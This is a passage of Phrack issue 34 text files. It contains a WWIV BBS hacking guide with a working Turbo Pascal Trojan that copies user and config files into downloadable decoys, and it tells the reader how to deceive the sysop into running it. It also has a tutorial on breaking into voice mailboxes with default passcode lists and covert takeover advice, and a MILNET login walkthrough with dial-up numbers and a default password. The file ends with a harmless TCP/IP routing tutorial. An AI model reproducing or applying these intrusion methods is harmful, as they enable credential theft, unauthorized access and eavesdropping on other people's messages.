PKUNZIP STUFF.ZIP ""-D It will unzip everything into the proper directory. Voila. The quotation marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check for the hyphen. This method can only be defeated by modifying the source code, or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you lose your archive section. *** *** Technique #4: The Trojan Horse File-Stealer *** This method, if executed properly, is almost impossible to defeat, and will conceivably work on any BBS program, if you know the directory structure well enough. Once again, you need PC Mag's BAT2EXEC, or enough programming experience to write a program that will copy files from one place to another. The basic principle is this: You get the sysop to run a program that you upload. This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over* files that already exist in the transfer or gfiles area. You then go download those files and you have the two most important files that exist for WWIV. Now, you need to do a certain amount of guess-work here. WWIV has it's directories set up like this: --- TEMP I --- DIR1 I I I--- DLOADS---I--- DIR2 I I I --- DIR3 WWIV--I--- DATA I --- GDIR1 I I I--- GFILES---I--- GDIR2 I I I --- GDIR3 --- MSGS The sysop sets the names for the DIR1, DIR2, etc. Often you have names like UPLOADS, GAMES, UTILS, etc. For the gfile dirs you might have GENERAL, HUMOR, whatever. So you have to make a guess at the sysop's directory names. Let's say he never moves his files from the upload directory. Then do a directory list from the transfer menu and pick two files that you don't think anyone will download. Let's say you see: RABBIT .ZIP 164k : The History of Rabbits from Europe to the U.S. SCD .COM 12k : SuperCD - changes dirs 3% faster than DOS's CD! So you then might write a batch file like this: @ECHO OFF COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM You'd then compile it to a COM file and upload it to the sysop directory. Obviously this file is going to be pretty small, so you have to make up plausible use for it. You could say it's an ANSI screen for your private BBS, and the sysop is invited. This is good if you have a fake account as the president of some big cracking group. You wouldn't believe how gullible some sysops are. At any rate, use your imagination to get him to run the file. And make it sound like he shouldn't distribute it, so he won't put it in some public access directory. There is a problem with simply using a batch file. The output will look like: 1 file(s) copied. File not found. 1 file(s) copied. File not found. That might get him curious enough to look at it with a hex editor, which would probably blow everything. That's why it's better to write a program in your favorite language to do this. Here is a program that searches specified drives and directories for CONFIG.DAT and USER.LST and copies them over the files of your choice. It was written in Turbo Pascal v5.5: Program CopyThisOverThat; { Change the dir names to whatever you want. If you change the number of locations it checks, be sure to change the "num" constants as well } uses dos; const NumMainDirs = 5; MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD', 'BOARD','WAR'); NumGfDirs = 3; GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS'); NumSubGFDirs = 2; SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC'); NumDirsToTest = 3; DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\'); {ok to test for one that doesn't exist} {Source file names include paths from the MAIN BBS subdir (e.g. "BBS") } SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.D A T'); { Dest file names are from subgfdirs } DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP'); var p, q, r, x, y, dirN: byte; bigs: word; CurDir, BackDir: string[80]; f1, f2: file; Info: pointer; ok: boolean; Procedure Sorry; var x, y: integer; begin for y := 1 to 1000 do for x := 1 to 100 do ; Writeln; Writeln (''); {change to something like } Writeln; {Abnormal program termination} ChDir(BackDir); Halt; end; begin Write (''); {change to something like } {$I-} {Loading...} GetDir (0, BackDir); ChDir('\'); for dirn := 1 to NumDirsToTest do begin ChDir(DirsToTest[dirn]); if IOResult = 0 then begin for p := 1 to NumMainDirs do begin ChDir (MainDirs[p]); if (IOResult <> 0) then begin if (p = NumMainDirs) and (dirn = NumDirsToTest) then Sorry; end else begin p := NumMainDirs; for q := 1 to NumGFDirs do begin ChDir (GFDirs[q]); if (IOResult <> 0) then begin if (q = NumGFDirs) and (dirn=NumdirsToTest) then Sorry; end else begin q := NumGFDirs; for r := 1 to NumSubGFDirs do begin ChDir (SubGFDirs[r]); if (IOResult <> 0) then begin if r = NumSubGFDirs then Sorry; end else begin r := NumSubGFDirs; dirn := NumDirsToTest; ok := true; end; end; end; end; end; end; end; end; GetDir (0, CurDir); ChDir ('..'); ChDir ('..'); for x := 1 to 2 do begin Assign (f1, SourceFileNames[x]); Assign (f2, CurDir+DestFileNames[x]); Reset (f1, 1); if IOResult <> 0 then begin if x = 2 then Sorry; end else begin ReWrite (f2, 1); Bigs := FileSize(f1); GetMem(Info, Bigs); BlockRead(f1, Info^, Bigs); BlockWrite (f2, Info^, Bigs); FreeMem(Info, Bigs); end; end; Sorry; end. So hopefully the sysop runs this program and emails you with something like "Hey it didn't work bozo!". Or you could make it work. You could actually stick a BBS ad in the program or whatever. It's up to you. At any rate, now you go download those files that it copied the USER.LST and CONFIG.DAT over. You can type out the CONFIG.DAT and the first word you see in all caps is the system password. There are several utilities for WWIV that let you compile the USER.LST to a text file. You can find something like that on a big WWIV board, or you can try to figure it out with a text or hex editor. At any rate, once you have those two files, you're in good shape. You could also use a batch file like that in place of one that calls COMMAND.COM for something like REMOTE.COM. It's up to you. *** *** Hacking Prevention *** So you are the sysop of a WWIV board, and are reading this file with growing dismay. Have no fear, if you have patience, almost all of these methods can be fixed. To eliminate the wildcard upload, all you have to do it get a current copy of WWIV (4.20), and the latest version of DSZ. It's all been fixed. To fix the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP, PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have. So your command lines should look like: \DOS\PKZIP -V %1 Or something similar. That will fix that nicely. To eliminate the -D method, you have to make some modifications to the source code if you want to keep your archive section. Goose, sysop of the Twilight Zone BBS in VA, puts out a NOHACK mod, which is updated regularly. It fixes ALL of these methods except the last. The latest version of NOHACK is v2.4. If you are a WWIV sysop, put it in. I can think of two ways to stop the last method, but neither of them are easy, and both require source code modifications. You could keep track of the filesize of a file when it's uploaded. Then when someone goes to download it, you could check the actual filesize with the size when it was uploaded. If they differ, it wouldn't let you download it. You could do the same with the date. Although either method could be gotten around with enough patience. For a virtually unhackable system, voice validate all users, have all uploads go to the sysop directory so you can look over them first, and don't run any programs. Of course, this is very tedious, but that is the price of a secure BBS. *** *** Thanks *** Thanks to Fenris Wolf for teaching me about the -D method, to Steve for help with the CopyThisOverThat program, and to Insight for proofing this file. ******************************************************************************* ==Phrack Inc.== Volume Three, Issue Thirty-four, File #6 of 11 HACKING VOICE MAIL SYSTEMS by Night Ranger DISCLAIMER I, Night Ranger, or anyone else associated with Phrack, am not responsible for anything the readers of this text may do. This file is for informational and educational purposes only and should not be used on any system or network without written permission of the authorized persons in charge. INTRODUCTION I decided to write this text file because I received numerous requests for vmbs from people. Vmbs are quite easy to hack, but if one doesn't know where to start it can be hard. Since there aren't any decent text files on this subject, I couldn't refer them to read anything, and decided to write one myself. To the best of my knowledge, this is the most complete text on hacking vmb systems. If you have any comments or suggestions, please let me know. Voice Mail Boxes (vmbs) have become a very popular way for hackers to get in touch with each other and share information. Probably the main reason for this is their simplicity and availability. Anyone can call a vmb regardless of their location or computer type. Vmbs are easily accessible because most are toll free numbers, unlike bulletin boards. Along with their advantages, they do have their disadvantages. Since they are easily accessible this means not only hackers and phreaks can get information from them, but feds and narcs as well. Often they do not last longer than a week when taken improperly. After reading this file and practicing the methods described, you should be able to hack voice mail systems with ease. With these thoughts in mind, let's get started. FINDING A VMB SYSTEM The first thing you need to do is find a VIRGIN (unhacked) vmb system. If you hack on a system that already has hackers on it, your chance of finding a box is considerably less and it increases the chance that the system administrator will find the hacked boxes. To find a virgin system, you need to SCAN some 800 numbers until you find a vmb. A good idea is to take the number of a voice mail system you know, and scan the same exchange but not close to the number you have. FINDING VALID BOXES ON THE SYSTEM If you get a high quality recording (not an answering machine) then it is probably a vmb system. Try entering the number 100, the recording should stop. If it does not, you may have to enter a special key (such as '*' '#' '8' or '9') to enter the voice mail system. After entering 100 it should either connect you to something or do nothing. If it does nothing, keep entering (0)'s until it does something. Count the number of digits you entered and this will tell you how many digits the boxes on the system are. You should note that many systems can have more than one box length depending on the first number you enter, Eg. Boxes starting with a six can be five digits while boxes starting with a seven can only be four. For this file we will assume you have found a four digit system, which is pretty common. It should do one of the following things... 1) Give you an error message, Eg. 'Mailbox xxxx is invalid.' 2) Ring the extension and then one of the following.. 1) Someone or no one answers. 2) Connects you to a box. 3) Connect you to mailbox xxxx. If you get #1 then try some more numbers. If you get #2 or #3 then you have found a valid vmb (or extension in the case of 2-1). Extensions usually have a vmb for when they are not at their extension. If you get an extension, move on. Where you find one box you will probably find more surrounding it. Sometimes a system will try to be sneaky and put one valid vmb per 10 numbers. Eg. Boxes would be at 105, 116, 121, ... with none in between. Some systems start boxes at either 10 after a round number or 100 after, depending on whether it is a three or four box system. For example, if you do not find any around 100, try 110 and if you do not find any around 1000 try 1100. The only way to be sure is to try EVERY possible box number. This takes time but can be worth it. Once you find a valid box (even if you do not know the passcode) there is a simple trick to use when scanning for boxes outside of a vmb so that it does not disconnect you after three invalid attempts. What you do is try two box numbers and then the third time enter a box number you know is valid. Then abort ( usually by pressing (*) or (#) ) and it will start over again. From there you can keep repeating this until you find a box you can hack on. FINDING THE LOGIN SEQUENCE Different vmb systems have different login sequences (the way the vmb owner gets into his box). The most common way is to hit the pound (#) key from the main menu. This pound method works on most systems, including Aspens (more on specific systems later). It should respond with something like 'Enter your mailbox.' and then 'Enter your passcode.' Some systems have the asterisk (*) key perform this function. Another login method is hitting a special key during the greeting (opening message) of the vmb. On a Cindy or Q Voice Mail system you hit the zero (0) key during the greet and since you've already entered your mailbox number it will respond with 'Enter your passcode.' If (0) doesn't do anything try (#) or (*). These previous two methods of login are the most common, but it is possible some systems will not respond to these commands. If this should happen, keep playing around with it and trying different keys. If for some reason you cannot find the login sequence, then save this system for later and move on. GETTING IN This is where the basic hacking skills come to use. When a system administrator creates a box for someone, they use what's called a default passcode. This same code is used for all the new boxes on the system, and often on other systems too. Once the legitimate owner logs into his new vmb, they are usually prompted to change the passcode, but not everyone realizes that someone will be trying to get into their mailbox and quite a few people leave their box with the default passcode or no passcode at all. You should try ALL the defaults I have listed first. DEFAULTS BOX NUMBER TRY box number (bn) 3234 3234 Most Popular bn backwards 2351 1532 Popular bn+'0' 323 3230 Popular With Aspens Some additional defaults in order of most to least common are: 4d 5d 6d 0000 00000 000000 *MOST POPULAR* 9999 99999 999999 *POPULAR* 1111 11111 111111 *POPULAR* 1234 12345 123456 *VERY POPULAR WITH OWNERS* 4321 54321 654321 6789 56789 456789 9876 98765 987654 2222 22222 222222 3333 33333 333333 4444 44444 444444 5555 55555 555555 6666 66666 666666 7777 77777 777777 8888 88888 888888 1991 It is important to try ALL of these before giving up on a system. If none of these defaults work, try anything you think may be their passcode. Also remember that just because the system can have a four digit passcode the vmb owner does not have to have use all four digits. If you still cannot get into the box, either the box owner has a good passcode or the system uses a different default. In either case, move on to another box. If you seem to be having no luck, then come back to this system later. There are so many vmb systems you should not spend too much time on one hard system. If there's one thing I hate, it's a text file that says 'Hack into the system. Once you get in...' but unlike computer systems, vmb systems really are easy to get into. If you didn't get in, don't give up! Try another system and soon you will be in. I would say that 90% of all voice mail systems have a default listed above. All you have to do is find a box with one of the defaults. ONCE YOU'RE IN The first thing you should do is listen to the messages in the box, if there are any. Take note of the dates the messages were left. If they are more than four weeks old, then it is pretty safe to assume the owner is not using his box. If there are any recent messages on it, you can assume he is currently using his box. NEVER take a box in use. It will be deleted soon, and will alert the system administrator that people are hacking the system. This is the main reason vmb systems either go down, or tighten security. If you take a box that is not being used, it's probable no one will notice for quite a while. SCANNING BOXES FROM THE INSIDE >From the main menu, see if there is an option to either send a message to another user or check receipt of a message. If there is you can search for VIRGIN (unused) boxes) without being disconnected like you would from outside of a box. Virgin boxes have a 'generic' greeting and name. Eg. 'Mailbox xxx' or 'Please leave your message for mailbox xxx...' Write down any boxes you find with a generic greeting or name, because they will probably have the default passcode. Another sign of a virgin box is a name or greeting like 'This mailbox is for ...' or a women's voice saying a man's name and vice versa, which is the system administrator's voice. If the box does not have this feature, simply use the previous method of scanning boxes from the outside. For an example of interior scanning, when inside an Aspen box, chose (3) from the main menu to check for receipt. It will respond with 'Enter box number.' It is a good idea to start at a location you know there are boxes present and scan consecutively, noting any boxes with a 'generic' greeting. If you enter an invalid box it will alert you and allow you to enter another. You can enter invalid box numbers forever, instead of the usual three incorrect attempts from outside a box. TAKING A BOX Now you need to find a box you can take over. NEVER take a box in use; it simply won't last. Deserted boxes (with messages from months ago) are the best and last the longest. Take these first. New boxes have a chance of lasting, but if the person for whom the box was created tries to login, you'll probably lose it. If you find a box with the system administrator's voice saying either the greeting or name (quite common), keeping it that way will prolong the box life, especially the name. This is the most important step in taking over a box! Once you pick a box take over, watch it for at least three days BEFORE changing anything! Once you think it's not in use, then change only the passcode, nothing else! Then login frequently for two to three days to monitor the box and make sure no one is leaving messages in it. Once you are pretty sure it is deserted, change your greeting to something like 'Sorry I'm not in right now, please leave your name and number and I'll get back to you.' DO NOT say 'This is Night Ranger dudes...' because if someone hears that it's good as gone. Keep your generic greeting for one week. After that week, if there are no messages from legitimate people, you can make your greeting say whatever you want. The whole process of getting a good vmb (that will last) takes about 7-10 days, the more time you take the better chance you have of keeping it for long time. If you take it over as soon as you get in, it'll probably last you less than a week. If you follow these instructions, chances are it will last for months. When you take some boxes, do not take too many at one time. You may need some to scan from later. Plus listening to the messages of the legitimate users can supply you with needed information, such as the company's name, type of company, security measures, etc. SYSTEM IDENTIFICATION After you have become familiar with various systems, you will recognize them by their characteristic female (or male) voice and will know what defaults are most common and what tricks you can use. The following is a few of a few popular vmb systems. ASPEN is one of the best vmb systems with the most features. Many of them will allow you to have two greetings (a regular and an extended absence greeting), guest accounts, urgent or regular messages, and numerous other features. Aspens are easy to recognize because the female voice is very annoying and often identifies herself as Aspen. When you dial up an Aspen system, sometimes you have to enter an (*) to get into the vmb system. Once you're in you hit (#) to login. The system will respond with 'Mailbox number please?' If you enter an invalid mailbox the first time it will say 'Mailbox xxx is invalid...' and the second time it will say 'You dialed xxx, there is no such number...' and after a third incorrect entry it will hang up. If you enter a valid box, it will say the box owner's name and 'Please enter your passcode.' The most common default for Aspens is either box number or box number + (0). You only get three attempts to enter a correct box number and then three attempts to enter a correct passcode until it will disconnect you. From the main menu of an Aspen box you can enter (3) to scan for other boxes so you won't be hung up like you would from outside the box. CINDY is another popular system. The system will start by saying 'Good Morning/Afternoon/Evening. Please enter the mailbox number you wish...' and is easy to identify. After three invalid box entries the system will say 'Good Day/Evening!' and hang up. To login, enter the box number and during the greet press (0) then your passcode. The default for ALL Cindy systems is (0). From the main menu you can enter (6) to scan for other boxes so you won't be hung up. Cindy voice mail systems also have a guest feature, like Aspens. You can make a guest account for someone, and give them password, and leave them messages. To access their guest account, they just login as you would except they enter their guest passcode. Cindy systems also have a feature where you can have it call a particular number and deliver a recorded message. However, I have yet to get this feature to work on any Cindy boxes that I have. MESSAGE CENTER is also very popular, especially with direct dials. To login on a Message Center, hit the (*) key during the greet and the system will respond with 'Hello . Please enter your passcode.' These vmbs are very tricky with their passcode methods. The first trick is when you enter an invalid passcode it will stop you one digit AFTER the maximum passcode length. Eg. If you enter 1-2-3-4-5 and it gives you an error message you enter the fifth digit, that means the system uses a four digit passcode, which is most common on Message Centers. The second trick is that if you enter an invalid code the first time, no matter what you enter as the second passcode it will give you an error message and ask again. Then if you entered the correct passcode the second and third time it will let you login. Also, most Message Centers do not have a default, instead the new boxes are 'open' and when you hit (*) it will let you in. After hitting (*) the first time to login a box you can hit (*) again and it will say 'Welcome to the Message Center.' and from there you can dial other extensions. This last feature can be useful for scanning outside a box. To find a new box, just keep entering box numbers and hitting (*) to login. If it doesn't say something to the effect of welcome to your new mailbox then just hit (*) again and it will send you back to the main system so you can enter another box. This way you will not be disconnected. Once you find a box, you can enter (6) 'M'ake a message to scan for other boxes with generic names. After hitting (6) it will ask for a mailbox number. You can keep entering mailbox numbers until you find a generic one. Then you can cancel your message and go hack it out. Q VOICE MAIL is a rather nice system but not as common. It identifies itself 'Welcome to Q Voice Mail Paging' so there is no question about what system it is. The box numbers are usually five digits and to login you enter (0) like a Cindy system. From the main menu you can enter (3) to scan other boxes. There are many more systems I recognize but do not know the name for them. You will become familiar with these systems too. CONCLUSION You can use someone else's vmb system to practice the methods outlined above, but if you want a box that will last you need to scan out a virgin system. If you did everything above and could not get a vmb, try again on another system. If you follow everything correctly, I guarantee you will have more vmbs than you know what to do with. When you start getting a lot of them, if you are having trouble, or just want to say hi be sure to drop me a line on either of my internet addresses, or leave me a voice mail message. NOTE: Some information was purposely not included in this file to prevent abuse to various systems. Night Ranger gbatson@clutx.clarkson.edu 1-800-666-2336 Box 602 (After Business Hours) 1-800-435-2008 Box 896 (After Business Hours) _______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-four, File #7 of 11 _____________________________________ | | | : : : : : : : : : : : : : : : : : | | : Brigadier General Swipe : | | : : : : : : : : : : : : : : : : : | | | | presents: | _____________________________________ | | | An Introduction to MILNET | | | |_____________________________________| : :Introduction: : First of all MILNET is a system used by branches of the military for unclassified communications. MILNET produces that infamous TAC login xxx. TAC MILNET is run out of the University of Southern California. USC is the ISI master dial up. I would also like to point out that the Department of Defense tends to frown on people browsing through there system. With that in mind, here is a basic overview of MILNET operations. : :Logging On: : MILNET can be reached over through the "nets" or can be directly connected to by dialing 1-800-368-2217 or 213-306-1366. The later is the ISI master dial up. Most military bases connect through the 800 dial up owned by AT&T. ISIE MASTER LOGON PROCEDURE ---------------------------- 1> call 213-306-1366 2> when the phone stops ringing you are connected 3> enter location number (9 digits) + 1 or 0 4> hang up and it will call you 5> pick up the phone and hit the '*' on your phone 6> hit a carriage return on the computer 7> at the 'what class?' prompt hit RETURN 8> then a 'go' prompt will appear and log on as you would the 800 number. MILNET LOGIN PROCEDURE ----------------------- > When you first connect you will see: 'WELCOME TO DDN. FOR OFFICIAL USE ONLY.TAC LOGIN CALL NIC 1-800-235-3155 FOR HELP WRPAT TAC 113 #:36 > the person logging on types: @o 1/103 YOU ALWAYS TYPE @o then other connections are: ISIA 3/103 ISIB 10:3/52 ISID 10:0/27 ISIE 1/103 (THE EXAMPLE) ISIF 2/103 VAX A 10:2/27 > Next you will see a 'USER-ID' prompt. The first 4 characters vary but it is is always followed by a '-' and what ever connection you choose. User-Id: (example) CER5-ISIE or MRW1-ISIE > The first three letters are the initials of the user followed by a random number (1-9). Access Code: (example) 2285UNG6A or 22L8KK5CH > An access code will never contain a ( 1, 0, G, Z). @ USERNAME + PASSWORD IE USERNAME SAC.512AREFW-LGTO THE USERNAME EXPLANATION: ------------------------- The first 3 letters in the example given above are SAC. This stands for Strategic Air Command, a branch of the Air Force. Following that is a "." Then the unit number and the prime mission. In this case 512AREFW", (512th AIR REFUELING WING). Then a '-' and the Individual Squadron name 'LGTO' (LOGISTICS GROUND TRANSPORTATION OPERATIONS), a fancy name for the motor pool. The password will not be echoed back and should be entered after the username. The new user password as a default is: NEW-UZER-ACNT. : :Options: : PROGRAMS AVAILABLE TO SAC USERS: ------------------------------- ADUTY aids in management of additional duty assignments. (International help - use the ? and keys, HELP.) ARCHIVE requests files to be stored on tape for later retrieval. (Type HELP ARCHIVE at TOPS-20.) CHAT Provides near real time communication between terminal users on the same host computer. (Use ? with CHAT.) DAILY Executive appointment scheduling program DCOPY Handles output on DIABLO and XEROX printers EMACS Powerful full-screen text editor FOLLOW Suspense follow up program FTP provides file transfer capabilities between host computers FKEYS allows user to define function key (real spiffaruni) HELP the command used by stupid generals or hackers that have never used milnet before HERMES E-Mail NCPCALC spreadsheet program PHOTO saves transcripts of sessions REMIND sends user-created reminders RIPSORT a sophisticated data sorting program (Described in SAC's User manual (sorry)) SCRIBE a powerful text formatter for preparing documents. (ISI's manual, SCRIBE manual - soon on MILNET V.2) SPELL text file spelling checker. (HELP at TOPS-20 and directory international help -?) SUSCON allows the creating, sending, and clearing of suspenses. (international help - ? and , HELP command) TACOPY used for printing hard copies of files (international help - ?) TALK pretty much the same as chat. TIPCOPY predecessor of TACOPY TEACH-EMACS (SELF EXPLANATORY: GIVES LIST OF COMMANDS) TN Tel-Net provides multi-host access on MILNET. (HELP at TOPS-20 and directory, international help - use ? and ) XED line oriented text editor. (HELP at TOPS-20 and directory) : :Logging Out: : TYPE: @L : :ID Card: : When a user gets a MILNET account he/she receives a card in the mail that looks similar to the diagram below. It is credit card sized and will be blue & white. _______________________________________ / \ | HOST USC-ISIE 26.1.0.103 | | HOST ADMINISTRATOR GORDON,VICKI L. | |---------------------------------------| | DDN CARD HOLDER: | | SMITH, BILL A, 1st LT. | | CARD 418475 | |---------------------------------------| | USER ID:CER5-ISIE | | ACCESS CODE:2285ANI6A | | USERNAME: SAC.512AREFW-LGTO | | PASSWORD: NEW-UZER-ACNT | \_______________________________________/ _______________________________________________________________________________ : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : _______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-Four, File #8 of 11 A TCP/IP Tutorial : Behind The Internet Part Two of Two October 4th, 1991 Presented by The Not 5. Internet Protocol The IP module is central to internet technology and the essence of IP is its route table. IP uses this in-memory table to make all decisions about routing an IP packet. The content of the route table is defined by the network administrator. Mistakes block communication. To understand how a route table is used is to understand internetworking. This understanding is necessary for the successful administration and maintenance of an IP network. The route table is best understood by first having an overview of routing, then learing about IP network addresses, and then looking at the details. 5.1 Direct Routing The figure below is of a tiny internet with 3 computers: A, B, and C. Each computer has the same TCP/IP protocol stack as in Figure 1. Each computer's Ethernet interface has its own Ethernet address. Each computer has an IP address assigned to the IP interface by the network manager, who also has assigned an IP network number to the Ethernet. A B C | | | --o------o------o-- Ethernet 1 IP network "development" Figure 6. One IP Network When A sends an IP packet to B, the IP header contains A's IP address as the source IP address, and the Ethernet header contains A's Ethernet address as the source Ethernet address. Also, the IP header contains B's IP address as the destination IP address and the Ethernet header contains B's Ethernet address as the des ---------------------------------------- |address source destination| ---------------------------------------- |IP header A B | |Ethernet header A B | ---------------------------------------- TABLE 5. Addresses in an Ethernet frame for an IP packet from A to B For this simple case, IP is overhead because the IP adds little to the service offered by Ethernet. However, IP does add cost: the extra CPU processing and network bandwidth to generate, transmit, and parse the IP header. When B's IP module receives the IP packet from A, it checks the destination IP address against its own, looking for a match, then it passes the datagram to the upper-level protocol. This communication between A and B uses direct routing. 5.2 Indirect Routing The figure below is a more realistic view of an internet. It is composed of 3 Ethernets and 3 IP networks connected by an IP-router called computer D. Each IP network has 4 computers; each computer has its own IP address and Ethernet address. A B C ----D---- E F G | | | | | | | | | --o------o------o------o- | -o------o------o------o-- Ethernet 1 | Ethernet 2 IP network "development" | IP network "accounting" | | | H I J | | | | --o-----o------o------o-- Ethernet 3 IP network "factory" Figure 7. Three IP Networks; One internet Except for computer D, each computer has a TCP/IP protocol stack like that in Figure 1. Computer D is the IP-router; it is connected to all 3 networks and therefore has 3 IP addresses and 3 Ethernet addresses. Computer D has a TCP/IP protocol stack similar to that in Figure 3, except that it has 3 ARP modules and 3 Ethernet drivers instead of 2. Please note that computer D has only one IP module. The network manager has assigned a unique number, called an IP network number, to each of the Ethernets. The IP network numbers are not shown in this diagram, just the network names. When computer A sends an IP packet to computer B, the process is identical to the single network example above. Any communication between computers located on a single IP network matches the direct routing example discussed previously. When computer D and A communicate, it is direct communication. When computer D and E communicate, it is direct communication. When computer D and H communicate, it is direct communication. This is because each of these pairs of computers is on the same IP network. However, when computer A communicates with a computer on the far side of the IP-router, communication is no longer direct. A must use D to forward the IP packet to the next IP network. This communication is called "indirect". This routing of IP packets is done by IP modules and happens transparently to TCP, UDP, and the network applications. If A sends an IP packet to E, the source IP address and the source Ethernet address are A's. The destination IP address is E's, but because A's IP module sends the IP packet to D for forwarding, the destination Ethernet address is D's. ---------------------------------------- |address source destination| ---------------------------------------- |IP header A E | |Ethernet header A D | ---------------------------------------- TABLE 6. Addresses in an Ethernet frame for an IP packet from A to E (before D) D's IP module receives the IP packet and upon examining the destination IP address, says "This is not my IP address," and sends the IP packet directly to E. ---------------------------------------- |address source destination| ---------------------------------------- |IP header A E | |Ethernet header D E | ---------------------------------------- TABLE 7. Addresses in an Ethernet frame for an IP packet from A to E (after D) In summary, for direct communication, both the source IP address and the source Ethernet address is the sender's, and the destination IP address and the destination Ethernet addrss is the recipient's. For indirect communication, the IP address and Ethernet addresses do not pair up in this way. This example internet is a very simple one. Real networks are often complicated by many factors, resulting in multiple IP-routers and several types of physical networks. This example internet might have come about because the network manager wanted to split a large Ethernet in order to localize Ethernet broadcast traffic. 5.3 IP Module Routing Rules This overview of routing has shown what happens, but not how it happens. Now let's examine the rules, or algorithm, used by the IP module. For an outgoing IP packet, entering IP from an upper layer, IP must decide whether to send the IP packet directly or indirectly, and IP must choose a lower network interface. These choices are made by consulting the route table. For an incoming IP packet, entering IP from a lower interface, IP must decide whether to forward the IP packet or pass it to an upper layer. If the IP packet is being forwarded, it is treated as an outgoing IP packet. When an incoming IP packet arrives it is never forwarded back out through the same network interface. These decisions are made before the IP packet is handed to the lower interface and before the ARP table is consulted. 5.4 IP Address The network manager assigns IP addresses to computers according to the IP network to which the computer is attached. One part of a 4- byte IP address is the IP network number, the other part is the IP computer number (or host number). For the computer in table 1, with an IP address of 223.1.2.1, the network number is 223.1.2 and the host number is number 1. The portion of the address that is used for network number and for host number is defined by the upper bits in the 4-byte address. All example IP addresses in this tutorial are of type class C, meaning that the upper 3 bits indicate that 21 bits are the network number and 8 bits are the host number. This allows 2,097,152 class C networks up to 254 hosts on each network. The IP address space is administered by the NIC (Network Information Center). All internets that are connected to the single world-wide Internet must use network numbers assigned by the NIC. If you are setting up your own internet and you are not intending to connect it to the Internet, you should still obtain your network numbers from the NIC. If you pick your own number, you run the risk of confusion and chaos in the eventuality that your internet is connected to another internet. 5.5 Names People refer to computers by names, not numbers. A computer called alpha might have the IP address of 223.1.2.1. For small networks, this name-to-address translation data is often kept on each computer in the "hosts" file. For larger networks, this translation data file is stored on a server and accessed across the network when needed. A few lines from that file might look like this: 223.1.2.1 alpha 223.1.2.2 beta 223.1.2.3 gamma 223.1.2.4 delta 223.1.3.2 epsilon 223.1.4.2 iota The IP address is the first column and the computer name is the second column. In most cases, you can install identical "hosts" files on all computers. You may notice that "delta" has only one entry in this file even though it has 3 IP addresses. Delta can be reached with any of its IP addresses; it does not matter which one is used. When delta receives an IP packet and looks at the destination address, it will recognize any of its own IP addresses. IP networks are also given names. If you have 3 IP networks, your "networks" file for documenting these names might look something like this: 223.1.2 development 223.1.3 accounting 223.1.4 factory The IP network number is in the first column and its name is in the second column. From this example you can see that alpha is computer number 1 on the development network, beta is computer number 2 on the development network and so on. You might also say that alpha is development.1, Beta is development.2, and so on. The above hosts file is adequate for the users, but the network manager will probably replace the line for delta with: 223.1.2.4 devnetrouter delta 223.1.3.1 facnetrouter 223.1.4.1 accnetrouter These three new lines for the hosts file give each of delta's IP addresses a meaningful name. In fact, the first IP address listed has 2 names; "delta" and "devnetrouter" are synonyms. In practice "delta" is the general-purpose name of the computer and the other 3 names are only used when administering the IP route table. These files are used by network administration commands and network applications to provide meaningful names. They are not required for operation of an internet, but they do make it easier for us. 5.6 IP Route Table How does IP know which lower network interface to use when sending out a IP packet? IP looks it up in the route table using a search key of the IP network number extracted from the IP destination address. The route table contains one row for each route. The primary columns in the route table are: IP network number, direct/indirect flag, router IP address, and interface number. This table is referred to by IP for each outgoing IP packet. On most computers the route table can be modified with the "route" command. The content of the route table is defined by the network manager, because the network manager assigns the IP addresses to the computers. 5.7 Direct Routing Details To explain how it is used, let us visit in detail the routing situations we have reviewed previously. --------- --------- | alpha | | beta | | 1 | | 1 | --------- --------- | | --------o---------------o- Ethernet 1 IP network "development" Figure 8. Close-up View of One IP Network The route table inside alpha looks like this: -------------------------------------------------------------- |network direct/indirect flag router interface number| -------------------------------------------------------------- |development direct 1 | -------------------------------------------------------------- TABLE 8. Example Simple Route Table This view can be seen on some UNIX systems with the "netstat -r" command. With this simple network, all computers have identical routing tables. For discussion, the table is printed again without the network number translated to its network name. -------------------------------------------------------------- |network direct/indirect flag router interface number| -------------------------------------------------------------- |223.1.2 direct 1 | -------------------------------------------------------------- TABLE 9. Example Simple Route Table with Numbers 5.8 Direct Scenario Alpha is sending an IP packet to beta. The IP packet is in alpha's IP module and the destination IP address is beta or 223.1.2.2. IP extracts the network portion of this IP address and scans the first column of the table looking for a match. With this network a match is found on the first entry. The other information in this entry indicates that computers on this network can be reached directly through interface number 1. An ARP table translation is done on beta's IP address then the Ethernet frame is sent directly to beta via interface number 1. If an application tries to send data to an IP address that is not on the development network, IP will be unable to find a match in the route table. IP then discards the IP packet. Some computers provide a "Network not reachable" error message. 5.9 Indirect Routing Details Now, let's take a closer look at the more complicated routing scenario that we examined previously. --------- --------- --------- | alpha | | delta | |epsilon| | 1 | |1 2 3| | 1 | --------- --------- --------- | | | | | --------o---------------o- | -o----------------o-------- Ethernet 1 | Ethernet 2 IP network "Development" | IP network "accounting" | | -------- | | iota | | | 1 | | -------- | | --o--------o-------- Ethernet 3 IP network "factory" Figure 9. Close-up View of Three IP Networks The route table inside alpha looks like this: --------------------------------------------------------------------- |network direct/indirect flag router interface number| --------------------------------------------------------------------- |development direct 1 | |accounting indirect devnetrouter 1 | |factory indirect devnetrouter 1 | -------------------------------------------------------------------- TABLE 10. Alpha Route Table For discussion the table is printed again using numbers instead of names. -------------------------------------------------------------------- |network direct/indirect flag router interface number| 